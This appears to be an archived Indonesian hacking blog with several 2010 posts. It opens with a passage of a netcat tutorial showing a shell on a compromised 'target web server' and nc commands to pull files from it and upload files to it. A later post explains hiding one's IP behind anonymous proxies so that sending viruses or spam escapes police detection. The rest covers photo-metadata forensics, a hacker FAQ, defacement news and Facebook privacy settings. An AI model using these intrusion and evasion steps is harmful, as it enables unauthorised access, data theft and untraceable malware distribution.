Microsoft Windows 2000 [Version 5.00.2195] 
(C) Copyright 1985-1999 Microsoft Corp. 
d:\inetpub\scripts> ipconfig (command menunjukkan nomor IP komputer saat ini) 
 
ipconfig 
 
Windows 2000 IP Configuration 
 
Ethernet adapter Local Area Connection 3: 
 
        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 169.254.1.1 
        Subnet Mask . . . . . . . . . . . : 255.255.0.0 
        Default Gateway . . . . . . . . . : 
 
Ethernet adapter Local Area Connection: 
 
        Connection-specific DNS Suffix  . : 
        IP Address. . . . . . . . . . . . : 128.1.71.103 
        Subnet Mask . . . . . . . . . . . : 255.255.0.0 
        Default Gateway . . . . . . . . . : 
 
D:\inetpub\scripts> dir

Perhatikan pada saat perintah ipconfig yang pertama, menunjukkan nomor IP komputer
Anda, yaitu 128.1.99.25. Setelah dilakukan perintah nc –v ristbook 1001, Anda masuk ke
server web target. Perintah ipconfig memperlihatkan anda berada di dalam server web,
yaitu IP 128.1.71.103 dan 169.254.1.1 yang ternyata memiliki 2 IP address.

Cara yang sama dengan di atas adalah mengunakan telnet dengan port 1001 sebagai berikut:

Code:

C:\> telnet ristbook 1001 
 
Microsoft(R) Windows 98 
   (C)Copyright Microsoft Corp 1981-1999. 
 
C:\NETCAT> dir

Cara lain Transfer File

Jika Anda sudah berada di dalam sistem target, pasti Anda tertarik untuk mendownload data
dari sistem target ke komputer Anda atau sebaliknya mengupload data Anda ke sistem target.
Selain menggunakan tftp, Anda dapat melakukan dengan netcat sebagai berikut:

Pada server web target di atas ketikkan perintah:

Nc –l –p 55555 < namafile.pdf

Pada komputer Anda yang akan menerima file ketikkan perintah:

Nc –v 128.1.71.63 > namafile.pdf
NOTERIST [128.1.71.63] 55555 (?) open
^C

Tekan kontrol-C jika file telah selesai Anda transfer. Metode ini sering disebut metode pull. Jika
Anda ingin mengirim file atau upload data dari komputer Anda ke sistem target, maka yang
perlu dilakukan adalah sebagai berikut:

Pada server web target di atas ketikkan perintah:

Nc –l –p 55555 > namafile2.pdf

Pada komputer Anda yang akan mengirim atau upload file ke sistem target ketikkan perintah:

Nc 128.1.71.63 55555 < namafile2.pdf
^C

Masih banyak fasilitas lain yang dapat Anda coba sendiri dari netcat.

*NB :

Untuk keperluan hacking yang lebih spesifik, mungkin masih banyak tools yang dapat Anda
pakai selain netcat. Namun jika Anda harus megerjakan banyak hal dengan seminimal mungkin
tools, maka netcat pilihan yang tepat dan itu sebabnya Netcat disebut sebagai “TCP/IP Swiss
Army Knife”-nya para hacker.

Bagi pengelola sistem komputer, Anda perlu mewaspadai apabila ditemukan Netcat di dalam
server Anda! Beberapa Anti Virus mengidentifikasi Netcat sebagai “virus” yang perlu di
waspadai dan dikarantina.

Seperti juga pisau “Swiss Army”, di tangan orang yang tepat, tools ini akan sangat bermanfaat!

Reference :
• “Netcat – The Swiss Army Knife”, muts@secureIT.co.il
• Stuart McClure, Joel Scambray, George Kurtz "Hacking Exposed: Network Security Secrets
and Solutions", McGraw-Hill Professional Publishing, 2003.
• Tom Armstrong, “Netcat – TheTCP/IP Swiss Army Knife”, SANS Institute 2000-2002
• “Top 75 Security Tools”, Insecure.org,

Just For Educational Purposes Only

2010-09-18T13:54:00.002+07:00

Seiring dengan kemajuan di bidang multimedia, tak lepas dari kenyataan adanya isu-isu gambar palsu di internet. Hal ini membuat orang awam yang kurang tahu, akan benar-benar tertipu. Lantas, bagaimana membedakan antara gambar palsu atau tidak?

Di dalam bidang keamanan cyber, ilmu ini sengaja diciptakan untuk menangani berbagai macam persoalan terkait dengan dunia Digital, yang salah satu kasus nya telah saya sebutkan diatas. Catatan ini dibuat karena banyaknya permintaan untuk menjelaskan contoh dari catatan saya sebelumnya mengenai Restricted Area: Digital Forensic ( Reuse, Reduce, n Recovery Data di FD atau HDD)

So ...
Let's Play ,.

Metode: Dengan memanfaatkan metadata. Pada dasarnya, metadata adalah data dalam file yang dibuat untuk keperluan manajemen. Untuk jenis data gambar (image), metadata mengandung informasi mengenai siapa pemotretnya, kapan pemotretannya, dan setting kamera pada saat dilakukan pemotretan, dll.

Tools : http://impulseadventure.com/photo/jpeg-snoop.html

Namun, untuk lengkapnya bisa anda dapatkan di catatan mengenai: Restricted Area: Digital Forensic (Reuse, Reduce, n Recovery Data di FD atau HDD) khusunya pada bagian Tools Analisa Data.

Ada 2 buah gambar yang akan dibuktikan. ( saya sengaja mengambil contoh gambar yang telah diedit sebelumnya dengan Photoshop CS 4 )

ASLI ;

♥ 3 Serangkai ♥ ;

Pada data diatas (Yang berwarna kuning), terlihat jelas mengenai Jenis Kamera yang digunakan adalah Camera Sony dengan EXIF Model secara Cybershot U.

PALSU ;

Edited By 1 ;

Pada data diatas terlihat jelas mengenai jenis software yaitu; Adobe Phothoshop CS4 Windows, dengan Kualitas menyimpan gambar 12, dan mode IRB nya telah teridentifikasi juga sebagai Phothoshop.

So,.
Bagaimana dengan gambar hantu di atas. Gambar tersebut saya dapatkan dari salah satu thread di forum kapanlagi.com. ( Pada ribut-ribut mikirin foto itu asli apa enggak ,. lol )
berikut hasil analisa metadatanya:

dari metadata tersebut didapatkan bahwa foto tersebut palsu. Foto tersebut telah diedit dengan Adobe Photoshop, yang jelas sekali mode IRB Photoshop teridentifikasi disana.
So, Everything U Hear, Everything U See, Everything U Feel are Fake Brothers. Itu semua sudah di konspirasi.

remember ; Just For Educational Purposes Only

Cara mengirim virus tanpa di ketahui pengirimnya

2010-09-08T18:43:00.002+07:00

Pertama - tama saya menulis artikel ini hanya sebagai informasi untuk menambah wawasan kita saja jangan dianggap serius .

Anda pasti tahu virus ,apa itu virus ,virus adalah sebuah program atau suatu script yang bisa di buat di notepad ataupun software visula basic,yang di buat untuk merusak system dari os yang kita pakai sehingga mengalami banyak error dan yang paling buruk ya os kita tidak bisa dipakai atau tidak bisa booting ini dikarenakan virus seperti worm,trojan,tambalban,syality,dll yang sudah di modifikasi.

Anda pasti pernah mendengar bahwa banyak yang mengirim virus melalui internet banyak yang sudah ditangkap oleh polisi dan dipenjarakan .mengapa para pengirim virus iseng tersebut mudah terdeteksi dan tertangkap disini saya akan mengulas kenapa para pengirim tersebut mudah tertangkap dan bagaimana cara mengnyembunyikan ip addres kita.

Kenapa para pengirim virus mudah di deteksi, itu karena polisi cyber mengetahui dari ip addres komputer yang kita gunakan,ip addres kita bisa memberitahukan dimana tempat kita mengirim dan mengetahui siapa pamilik ip addres tersebut,maka itu para pengirim virus mudah dideteksi makanya jika kita mengirim virus ataupun spam kita harus berhati hati karena mereka akan mengetahui dari ap addres yang kita gunakan.

saya pernah membaca di sebuah bahwa blog kita bisa menyembunyikan ip addres kita ,dengan menyembunyikan ip addres kita bisa mengirim apapun tanpa diketahui dimana tempat kita dan siapa yang menggunakan alamat ip addres tersebut ,jika kita ingin menyembunyikan ip addres kita harus menggunakan ip addres negara lain atau tempat lain yang bisa menyembunyikan identitas kita atau tempat kita. ada sebuah situs yang bisa kita gunakan ip addresnya
di situ kita bisa memilih ip addres yang ingin kita gunakan dan tempat atau negara.

Ip address atau sering di sebut dengan Internet Protocol digunakan untuk pengalamatan komputer pada sebuah jaringan komputer yang menggunakan protocol TCP/IP dimana protocol TCP/IP digunakan untuk meneruskan packet informasi (routing) dalam jaringan LAN, WAN dan internet. IP address dibuat untuk mempermudah dalam pengaturan atau pemberian alamat pada perangkat jaringan agar perangkat tersebut dapat saling berkomunikasi. Seluruh perangkat jaringan memiliki MAC address (Media Access Control) yang berbeda-beda terdiri dari 12 digit bilangan hexadecimal (exm : 00:3f:1a:55:b4) yang dikeluarkan oleh masing-masing vendor. (ilmukomputer)

caranya menyembunyikan Ip sebagai berikut:

1. Buka http://www.aliveproxy.com ato www.samair.ru/proxy
2. Trus carilah proxy negara mana yang ingin dipakai. Kebanyakan memakai negara USA, itu dikarenakan banyaknya proxy yang ada dan juga terkenal kenceng. Tapi ga selalu lo.
3. Liat ip dan port mana yang mau dipakai, semisal ini “69.14.211.102:2396″ dimana “69.14.211.102″ adalah IPnya dan “2396″ adalah portnya.
4. Yang perlu diingat adalah cari IP yang mempunyai keterangan “anonymous”

- Mozilla Firefox versi 2:

1. Buka tools > options
2. Bagian advance, klik tab Network
3. Bagian Connection, klik Setting di sebelah kanan
4. Kemudian pilih manual proxy configurations
5. Pada bagian HTTP proxy, masukkan IP proxy dan portnya
6. klik OK

mohon maaf bila ada kesalahan menulis.
sekian dari artikel yang saya buat ini semoga bermanfaat dan tidak disalah gunakan untuk berbuat tidak - tidak,jika anda tetap melakukan nya itu tanggung jawab anda sendiri.

How To Become a Hacker FAQ (baca ini kalo mau jadi hacker)

2010-09-03T21:07:00.000+07:00

saya rasa.....saya perlu ngluarin FAQ yg dah basi tetapi berguna untuk kita.......
bagi para master/yg udah pada tau......mohon jgn di konci/hapus thread ini yah......

It's For Newbie..............

F.A.Q]

[0] T : Tolong Jelaskan Apa Itu HAcker ?
J : Hacker adalah: Seseorang yang tertarik untuk mengetahui secara mendalam
mengenai kerja suatu system, komputer, atau jaringan komputer."

[1] T : Maukah Anda mengajari saya cara hacking?
J : Hacking adalah sikap dan kemampuan yang pada dasarnya harus dipelajari sendiri.
Anda akan menyadari bahwa meskipun para hacker sejati bersedia membantu,
mereka tidak akan menghargai Anda jika Anda minta disuapi segala hal yang
mereka ketahui

Pelajari dulu sedikit hal. Tunjukkan bahwa Anda telah berusaha, bahwa Anda
mampu belajar mandiri. Barulah ajukan pertanyaan-pertanyaan spesifik pada
hacker yang Anda jumpai.

Jika toh Anda mengirim email pada seorang hacker untuk meminta nasihat,
ketahuilah dahulu dua hal. Pertama, kami telah menemukan bahwa orang-orang
yang malas dan sembrono dalam menulis biasanya terlalu malas dan sembrono
dalam berpikir sehingga tidak cocok menjadi hacker -- karena itu usahakanlah
mengeja dengan benar, dan gunakan tata bahasa dan tanda baca yang baik,
atau Anda tidak akan diacuhkan.

Kedua, jangan berani-berani meminta agar jawaban dikirim ke alamat email
lain yang berbeda dari alamat tempat Anda mengirim email; kami menemukan
orang-orang ini biasanya pencuri yang memakai account curian, dan kami
tidak berminat menghargai pencuri

T : Kalau begitu arahkan saya?
J : Baiklah , kamu harus belajar !!

T : Apa yang harus di pelajari ?
J : Networking (jaringan) , Programing , Sistem Operasi , Internet

T : wow, apa gak terlalu banyak tuh ?
J : Tidak, Semua itu tidak harus kamu kuasai dalam waktu cepat, basicnya yang penting
Ingat semua itu perlu proses!

T : Networking saya mulai dari mana ?
J : Pengetahuan dasar jaringan ( konsep TCP/IP) , komponen dasar jaringan, topologi
jaringan, terlalu banyak artikel yang dapat kamu baca dan buku yang bertebaran
di toko toko buku, atau kamu bisa mencoba berkunjung kesitus ilmukomputer.com

T : Untuk programing ?
J : Mungkin yang terpenting adalah 'logika' pemrograman , jadi lebih kearah
pemanfaatan logika , ada baiknya belajar algoritma , pengenalan flowchart
atau bagan alur untuk melatih logika (teoritis) serta untuk prakteknya sangat
disarankan belajar pemrograman yang masih menomer satukan logika/murni

T : Kalau begitu bahasa pemrograman apa yang harus saya pelajari awalnya?
J : Bahasa Pemrograman apapun sebenarnya sama baik, tetapi ada baiknya belajar
bahasa seperti C , Perl , Phyton, Pascal, C++ , bukan berarti
menjelek-jelekkan visual programing ( nanti kamu akan tau bedanya )
(*ini murni pengalaman pribadi)

[3] T : Bagaimana saya harus memulai programing ?
J : Kumpulkan semua dokumentasi, manual, how to , FAQ , buku , dan contoh contoh
dari bahasa pemrograman yang akan anda pelajari , Cari dan install software
yang dibutuhkan oleh bahasa tersebut (Sesuai dokumentasi) , cobalah memprogram
walaupun program yang simple, dan kamu tidak di "haramkan" untuk mengetik ulang
program contoh dengan harapan kamu akan lebih mengerti dibandingkan kamu hanya
membaca saja, cari guru, teman atau komunitas yang bisa diajak bekerja sama
dalam mempelajari bahasa tersebut ( gabung dimilis, forum khusus bahasa tsb )
, sisanya tergantung seberapa besar usaha kamu. jangan mudah menyerah apalagi
sampai putus asa.

[1] T : Apakah Visual Basic atau Delphi bahasa permulaan yang bagus?
J : Tidak, karena mereka tidak portabel. Belum ada implementasi open-source dari
bahasa-bahasa ini, jadi Anda akan terkurung di platform yang dipilih oleh vendor.
Menerima situasi monopoli seperti itu bukanlah cara hacker.

[1] T : Apakah matematika saya harus bagus untuk menjadi hacker?
J : Tidak. Meskipun Anda perlu dapat berpikir logis dan mengikuti rantai pemikiran
eksak, hacking hanya menggunakan sedikit sekali matematika formal atau aritmetika.

Anda terutama tidak perlu kalkulus atau analisis (kita serahkan itu kepada para
insinyur elektro ). Sejumlah dasar di matematika finit (termasuk aljabar Bool,
teori himpunan hingga, kombinasi, dan teori graph) berguna.

T : Tentang pemrograman Web , apakah harus ?
J : Yupe, dikarenakan Internet adalah dunia kamu nantinya

T : Bahasa pemrograman web apa yang sebaiknya dipelajari untuk pemula ?
J : Mungkin kamu bisa mencoba HTML, dilanjutkan ke PHP yang akan membuat kamu lebih
familiar ke programing secara penuh

T : Tentang Sistem Operasi , kenapa harus ?
J : Penguasaan terhadap suatu operating system adalah sangat penting, kenapa ?
karena itulah lingkungan kamu nantinya , perdalami cara kerja suatu operating
system , kenali dan akrabkan diri

T : Sebaiknya, Operating system apa yang saya perdalami?
J : mungkin kamu bisa coba linux atau BSD , selain mereka free , dukungan komunitas
juga sangat banyak sehingga kamu tidak akan di tinggal sendirian jika menemukan
masalah, dan pula kemungkinan kamu untuk dapat berkembang sangatlah besar
dikarenakan sifat "open source"

T : Untuk pemula seperti saya , apa yang harus saya gunakan ?
J : Sebaiknya jika kamu benar benar pemula, kamu bisa gunakan linux , karena baik
sistem installasinya dan Graphical User Interfacenya lebih memudahkan kamu

T : Distro apa yang sebaiknya saya gunakan dan mudah untuk pemula
J : Kamu bisa mencoba Mandrake (disarankan oleh beberapa ahli yang pernah diajak
diskusi) , tetapi kamu bisa memilih sesukamu, meskipun aku memulainya juga
dengan mandrake tetapi aku lebih comfort dengan redhat.

T : Kalau tidak bisa Menginstall linux apakah jalan saya sudah tertutup?
J : Kamu bisa mencoba menginstall vmware , cygwin atau kamu bisa menyewa shell

T : Dimana Saya bisa mendapatkan programn program tersebut
J : berhentilah bertanya , dan arahkan browser kamu ke search engine , terlalu
banyak situs penyedia jasa yang dapat membantu kamu

T : Apakah saya HArus memiliki komputer ?
Y : IYA! , kecuali kalo kamu sudah dapat berinteraksi lebih lama dengan komputer
meskipun itu bukan milik kamu, tetapi sangat baik jika memilikinya sendiri
karena , pertama : Ide yang timbul bisa setiap saat, baik programing, riset
dsb, jadi ada baiknya kamu memilikinya agar dapat langsung
menyalurkan semua ide dan pemikiran kamu
Kedua : menggunakan PC sendiri membuat kamu merasa bebas untuk
bereksplorasi dan mencoba tanpa takut merusak dsb

T : Hardware apa yang saya butuhkan ?
Y : Menginggat harga komputer sudah relatif "murah" (mohon maaf buat yang masih belum
mampu membelinya) , kamu bisa sesuaikan spesifikasinya untuk kamu gunakan

T : Internet , apakah saya harus terkoneksi ke internet?
Y : Terkadang itu perlu, tetapi jangan terlalu memaksakan , kamu memang perlu terhubung
ke internet untuk mendownload modul, bacaan, update informasi, tetapi jangan jadikan
penghalang jika kamu tidak bisa terkoneksi secara periodik, jadilah kreatif

[1] T : Berapa lama waktu yang saya butuhkan?
J : Masalah waktu itu relatif, Bergantung seberapa besar bakat dan usaha Anda.
Kebanyakan orang memperoleh keahlian yang cukup dalam delapan belas bulan
atau dua tahun, jika mereka berkonsentrasi. Tapi jangan pikir setelah itu
selesai; jika Anda hacker sejati, Anda akan menghabiskan sisa waktu belajar
dan menyempurnakan keahlian.

T : Apakah tidak bisa yang Instan ? misal Tinggal gunain tool tertentu ?
J : Hum, kamu mo jadi hacker atau cuma pemakai tools ?, kalau menggunakan tools
semua orang juga bisa!!

[1] T : Bagaimana cara mendapatkan password account orang lain?
J : Ini cracking. Pergi sana, bodoh.

[1] T : Bagaimana cara menembus/membaca/memonitor email orang lain?
J : Ini cracking. Jauh-jauh sana, goblok

[0] T : Cracker ? apa itu ?
J : Cracker adalah individu yang mencoba masuk ke dalam suatu sistem komputer
tanpa ijin (authorisasi), individu ini biasanya berniat jahat/buruk, sebagai
kebalikan dari 'hacker', dan biasanya mencari keuntungan dalam memasuki suatu
sistem

[1] T : Saya dicrack. Maukah Anda menolong saya mencegah serangan berikutnya?
J : Tidak. Setiap kali saya ditanya pertanyaan di atas sejauh ini, ternyata
penanyanya seseorang yang menggunakan Microsoft Windows. Tidak mungkin secara
efektif melindungi sistem Windows dari serangan crack; kode dan arsitektur
Windows terlalu banyak mengandung cacat, sehingga berusaha mengamankan Windows
seperti berusaha menyelamatkan kapal yang bocor dengan saringan. Satu-satunya
cara pencegahan yang andal adalah berpindah ke Linux atau sistem operasi lain
yang setidaknya dirancang untuk keamanan.

T : Apakah saya perlu komunitas ?
J : YUPE , komunitas sangat kamu perlukan, apalagi jika kamu memilih untuk berkecimpung
di dunia opensource, banyak milis yang bisa kamu ikuti, sebaiknya ikuti milis yang
spesifik sesuai dengan yang kamu gunakan. (misal linux, sesuai distro )

T : Apakah termasuk milis sekuriti ?
J : iyah ! cobalah bugtraq@securityfocus.com

Perang Hacker Indonesia Malaysia

2010-08-30T08:17:00.001+07:00

Jakarta – Dedemit maya yang mengaku dari Indonesia kembali meluncurkan serangan pada situs internet milik warga Malaysia. Kali ini sasarannya adalah situs yang dikelola oleh perguruan tinggi yang cukup terkenal di negera tetangga kita ini, yakni Universiti Utara Malaysia (UUM).

Situs resmi UUM yang beralamat di uum.edu.my, nampak dipermak habis oleh sang cracker. Pengamatan detikINET, halaman situs menampilkan gambar tengkorak muncul di tengah-tengah bendera Malaysia. Selain itu juga ada rekaman foto aksi pembakaran bendera Malaysia.

Sepertinya aksi ini dipicu oleh kekesalan para cracker yang menilai Malaysia terus berulah merongrong kedaulatan negara Indonesia. Hal ini tampak pada pesan yang ditampilkan di situs tersebut:
“Rakyat Indonesia cinta damai, tapi kalau terus-terusan diusik dan dilecehkan kami juga bisa marah, sabar ada batasnya. Pulau Sipadan dan Ligitan sudah diambil, sekarang mau mencaplok blok Ambalat, Saudara Kami yang ada di sana Dengan Kejinya Kalian Siksa tanpa Rasa kemanusiaan..!! Ini adalah peringatan dari kami, Jika kalian terus mengusik kami, maka akan kami lanjutkan perjuangan ini dengan cara kami sendiri..!,”
Tidak jelas siapa sebenarnya yang berada di balik aksi serangan cyber ini. Pelaku hanya memakai identitas bernama the_g3mb3L pada halaman situs yang telah diserang.

mematikan komputer dengan email

2010-08-28T12:47:00.000+07:00

E-Mail secara mudah dapat kita definisikan sebagai suatu pesan, umumnya berupa teks, yang dikirimkan dari satu alamat ke alamat lainnya dalam jaringan komputer, baik itu intranet maupun internet.

Lalu bagaimana jadinya jika E-Mail tsb kita ubah fungsi utamanya sebagai suatu remote control untuk mematikan komputer windows kita, tentu merupakan suatu hal yg menarik bukan ?

Langsung saja, dibawah ini terdapat beberapa aplikasi penunjang di dalam kegiatan ini yaitu sbb ;
1.) email client (thunderbird, outlook, dlsb) .. dalam implementasi saya menggunakan thunderbird,
2.) mailbox alert (add-ons for thunderbird) ..

Langkah pertama yg harus dilakukan adalah ;
1.) buka aplikasi notepad, isi dengan script 'C:\WINDOWS\system32\shutdown.exe -s -f -t 00' (tanpa tanda petik), kemudian simpan dengan nama matiin.bat (jangan lupa pada kolom Save as type, pilih All Files),

2.) buka aplikasi thunderbird, kemudian setting mail account alamat email JS'ers (disini saya menggunakan account gmail) seperti pada gambar dibawah ini ;
- setting incoming server (POP Mail Server)

- setting outgoing server (SMTP Server)

3.) install aplikasi mailbox alert (add-ons for thunderbird), setelah instalasi berhasil, kemudian pada jendela thunderbird pilih menu Tools -> Mailbox Alert Preferences, dan setting seperti pada gambar dibawah ini ;

Ket :
- Inbox, adalah folder default tempat dimana semua email yg kita terima tersimpan.
- matiin, adalah subject dari email yg nantinya akan menjadi validasi sebelum komputer dimatikan.
- kolom "Execute a command" diisi dengan letak dari file langkah no.1 (matiin.bat).

4.) Terakhir, dengan syarat bahwa komputer JS'ers terkoneksi dengan internet dan aplikasi thunderbird berjalan aktif, maka kegiatan mematikan komputer windows ini sudah dapat kita lakukan. Buat email dengan subject : 'matiin' dan kirimkan ke alamat email yg telah kita setting pada langkah no.2 dan no.3.

5.) Jika langkah-langkah di atas telah dilakukan dengan baik dan benar, maka setiap email yg masuk ke dalam account yg telah kita setting dengan subject 'matiin', maka yg terjadi adalah akan membuat komputer windows kita mati dengan sendirinya .. atau bahasa extreme-nya adalah shutdown .

bagi JS'ers yg sudah bisa mematikan komputer windows-nya dengan sms dan bukan email, mohon sharing-sharingnya ya.

menjaga privacy di facebook

2010-08-28T12:14:00.000+07:00

Anda dan saya tentunya pasti miris dengan aksi kejahatan yang berkedok penipuan yang belakangan ini marak dilakukan oleh cyber criminal pada situs jejaring sosial seperti Facebook, Twitter. Salah satu kasus yang menghebohkan publik adalah kasus hilangnya Marieta Nova Triani yang akrab disapa Nova, gadis berumur 14 tahun asal Siduarjo. Setelah bertemu Febriari alias Ari yang dikenalnya lewat Facebook. Nova dilaporkan orang tuanya menghilang pada hari saptu setelah Nova Menghadiri Pernikahan sepupunya di Jakarta. Nova dijemput tiga lelaki di BSD Cyti, Tangerang. Setelah itu, Nova tidak terdengar kabarnya. Setelah kedua orang tua Nova melaporkan ke polisi. Baru-lah Nova ditemukan sedang berjalan-jalan dengan Aris.

Diatas adalah intermozo dari social crime yang telah menghebohkan, sekaligus membuat kita untuk lebih berhati-hati. Anda mungkin bertanya, kenapa kejahatan ini terjadi ?
Kejahatan seperti ini menggunakan teknik Social Engineering, yang mana pelakunya memanfaatkan kelemahan dari pengguna/user untuk melakukan tindakan penipuan. Dapat anda bayangkan betapa banyak informasi yang didapat oleh penjahat, dan pada akhirnya anda sendiri yang merasa dirugikan, di cemarkan nama baik. Agar anda lebih memahami Social Engineering ini, perhatikan Skenario berikut ini:

Operator Seluler : Hallo.. selamat siang, dengan custumer suppor ISP, ada yang bisa di bantu ?
Pelaku : Hallo, saya mau tanya mengenai akkun internet istri saya, dimana ya alamat untuk masuk akun tersebut ?
Operator Seluler : bisa minta nomor custumernya Pak ?
Pelaku : aduh... saya juga lupa, tapi saya tahu alamat emailnya korbanSocialEngineering@kenatipu.gl Cepat ya mas, saya telah ditunggu istri saya.!!
Operator Seluler :

Dari skenario di atas, anda tentunya mempunyai kesimpulan tersendiri. Pelaku berhasil mendapatkan akun ISP, tentunya digunakan untuk hal yang tidak wajar.
Tetapi, dari segelintir kasus sosial crime ini, banyak orang yang tidak peduli membuka segala aspek kehidupannya untuk di share ke publik. Kita ambil contoh twitter, sebagian penggunanya melakukan hal yang aneh seperti menghubungkan akun twitter-nya dengan GPS di mobil untuk mengizinkan orang melacak keberadaannya, yang paling ‘gila’ menurut saya adalah menghubungkan akun twitter-nya dengan sistem pembayaran online agar setiap kali berbelanja, di twett-lah informasi barang dan uang yang dihabiskan. Anda tentunya membayangkan kejahatan apa yang akan terjadi jika disalahgunakan oleh orang lain ?, tentu saja, orang seperti ini dengan ‘bangganya’ meneruskan living in public.

Berbagai macam teori yang saya baca dari berbagai buku-buku. Misalkan teori yang menyatakan bahwa setiap orang di antara kita sebetulnya selalu ingin di perhatikan, dan bermimpi jadi selebriti. Atau teori signaling, dimana orang memang orang merasa perlu untuk membuat orang lain tahu tentang status sosialnya, kemampuan, kekayaan, dlsb. Atau dengan teori extrovert, karena dunia dikuasai (sekitar 75%) dari orang-orang extrovert. Para extrovert memang selalu ingin berinteraksi dengan orang lain, menjadi pusat perhatian, ingin bertemu dengan kenalan baru, dan juga menjadi pusat perhatian.
Agar Orang jahat tidak banyak tahu tentang kita, tinggal berhenti saja sembarangan mem-posting informasi sensitif.

Tidak hanya itu, menurut informasi yang saya dapatkan dari theregister.co.uk, organisasi konsumen federasi Jerman atau Verbraucherzentrale Bundesverband (VZBV) menyerukan protes agar para pengguna internet di Jerman menginggalkan facebook, sampai masalah privasi dipertimbangkan kembali oleh pihak facebook. VZBV mendapat dukungan dari llse Aigner yang merupakan Menteri Hubungan Konsumen. Mereka mengancam akan menghapus akun facebook mereka sebagai bagian dari protes terhadap facebook. VBZV merupakan organisasi non-pemerintah yang menaungi 42 organisasi konsumen di Jerman. Mereka juga mewakili keinginan konsumen, baik di lingkungan publik maupun di pemerintahan.

Kembali kita ke Menjaga Privasi di Facebook, Berikut ini akan saya coba ulas trik menjaga Privasi di Facebook. Agar anda lebih berhati-hati. ( penulis memakai setingan bahasa Ingris sewaktu melakukan eksperimen ini).

Jangan Tampil di Hasil Pencarian.
Facebook memiliki mesin pencari untuk membantu anggotanya menemukan anggota lain. Anda dapat “menghilang” dari hasil pencarian sehingga teman yang sudah di-add yang bisa menemukan anda. Dengan demikian, resiko untuk di-add sebagai teman oleh orang yang tidak dikenal jadi berkurang. Caranya :
Klik ‘Account’ dipojok kanan atas, lalu klik ‘Privacy Settings’.
Klik ‘Search’.
Ganti facebook Search Results ke ‘Only Friends’

Kategorikan Teman-Teman
Keunggulannya adalah, anda dapat mengirim pesan secara cepat ke kelompok teman tanpa takut pesan tersebut dibaca oleh orang lain. Caranya adalah :
Klik ‘Friends’ di menu sebelah kiri.
Setelah gambar teman-teman muncul, klik ‘Create List’.
Masukkan nama list, lalu masukkan nama teman yang akan kita kategorikan.
Klik Create List’

Sembunyi Dari Om Google.
Cobalah cari nama anda di Om google, jreng..., pastinya nama akan mendapati alamat profil terpajang di hasil pencarian. ? Ooo,,, Kamu ketahuan.... hehehehe,,, 
Tapi kok akun saya g’ nongol di Om google ?
Anda g’ terkenal amat kale... 
Ok, ikuti langkah berikut
Klik ‘Account’, lalu klik ‘Privacy Settings’.
Klik ‘Search’
Janganberi tanda centang pada ‘Allow’ di Public Search Results.
Klik ‘Confirm’

Jangan Mengumbar Sembarang Foto
Anda dapat mengatur agar orang-orang yang tertentu saja yang bisa melihat album foto kita di Facebook.
Klik ‘Account’ > ‘Privacy Settings’.
Klik ‘Profile Informations’.
Di bagian ‘Photo Album’, klik ‘Edit Settings’
Atur siapa saja yang dapat mengintip foto anda.

Sembunyikan Tag Sembarangan.
Anda pasti tidak asing lagi dengan maksud diatas. Dapat saya contohkan seperti ini :
Pada suatu hari anda login ke Akun Facebook anda, anda mendapatkan kiriman Tag berupa foto dari teman anda, namun anda tidak senang dengan kehadiran foto tersebut, ntah fotonya jelek, berbaur pornoggrafi, dkk. Hal seperti ini sering penulis alami, banya kiriman Foto dari teman-teman, tapi banya pula yang tidak disukai. Nah untuk menghindari hal ini terjadi, maka lakukanlah hal berikut :
Klik ‘Account > ‘Privacy Settings’
Klik ‘Profile Information’.
Dibagin ‘Photos and Vodeo Of Me, ubah pengaturannya.

Jangan Curhat Colongan.
Baru putus sama pacar, ? Ke Uangan anda sedang pailit ? dlsb. Boleh saja curhat, asal jangan curhat colongan di Facebook dengan mengumumkan status hubungan. Kasus yang sering terjadi itu seprti ini. Bayangakan, seorang cewek cantik mengumumkan perubahan status dari ‘in a relationship’ jadi ‘singgle’, maka akan banya bermunculan rayuan gombal untuk menaklukkan cewek cantik tadi. Tidak ingin hal ini terjadi ? lakukan pencegahannya
Klik ‘Account’ > ‘Privacy Setting’.
Klik ‘Profile Information’ (jangan bosan ya kawan  )
Ubah pengaturan Family and Relationship ke......
Terserah kawan, asal batasi saja “Only Friends’ misalnya.

Jangan Berikan Nomor Telepon.
Diatas telah saya singgung sebelumnya, bahwa teman anda di Fecebook tidak semuanya anda kenal, jika anda nekat untuk memberikan nomor telepon anda, maka bersiaplah untuk terkena aksi Social Engineering. Untuk meminimalisir kejahatan ini terjadi, berikut caranya :

Klik ‘Account’ > ‘Privacy Setting’.
Klik’ Contact Information’.
Ubahlah pengaturan nomor telepon dkk, menjadi ‘Only Me’ agar orang lain tidak bisa melihat.

Tidak Sembarangan Orang Bisa Menulis di Wall.
Standar dari wall di facebook umumnya terbuka. Artinya, orang-orang bisa menulis apa saja di wall tsb, termasuk hal yang tidak anda inginkan . Untuk menghindarinya, lakukan hal berikut ini.
Buka profil Facebook anda.
Klik ‘Options’ yang ada di bawah tombol ‘Share’.
Klik ‘settings’.
Di bagian ‘Strories Posted by Friends’, ubah pengaturan ‘ Who can see post make by friends?’ menjadi ‘Only Friends’.

Hacking facebook

2010-08-26T13:11:00.000+07:00

Salam untuk semua anggota komunitas keamanan yg tercinta., semoga anda selalu diberikan kesehatan agar dapat terus membantu dan mendorong perkembangan dunia TI khususnya pada bidang keamanan. kali ini saya hadir dengan pembahasan mengenai facebook hacking yang saat ini sering d bahas d berbagai stasiun televisi maupun di komunitas yang bergerak di bidang TI hingga pengguna internet yang masih tergolong pada tingkatan awam ( wah...ini termasuk ane kayaknya...??? ).

Artikel ini saya buat persis setelah menyaksikan sebuah acara di salah satu televisi swasta di indonesia yang menyajikan berita seputar dunia internet(masih seger nih berita...), kebetulan saat itu pembahasannya adalah bagaimana mngamankan account facebook dari orang-orang yang tidak bertanggung jawab. kita tahu bahwa banyak pengguna situs jejaring sosial ini mengeluhkan keamanan account mereka dari oknum yang tidak bertanggung jawab, di karenakan bukan sebuah rahasia lagi bahwa pembajakan account facebook sering terjadi dan dengan motif yang berbeda-beda mulai dari iseng, sakit hati, belajar hacking, hingga pencurian CHIPS POKER ( apa anda temasuk di dalamnya?jika ia maka segeralah bertobat...!!!).

oke mari kita sedikit flashback tantang acara di salah satu televisi swasta tersebut. pada acara ini saya menyaksikan dan mengengarkan dengan sangat jelas ketika sang pembawa acara memberikan beberapa pertanyaan kepada narasumber (nara sumbernya ada 2 orang ).singkat cerita beberapa penjelasan yang diberikan oleh nara sumber justru membuat saya bertanya-tanya.

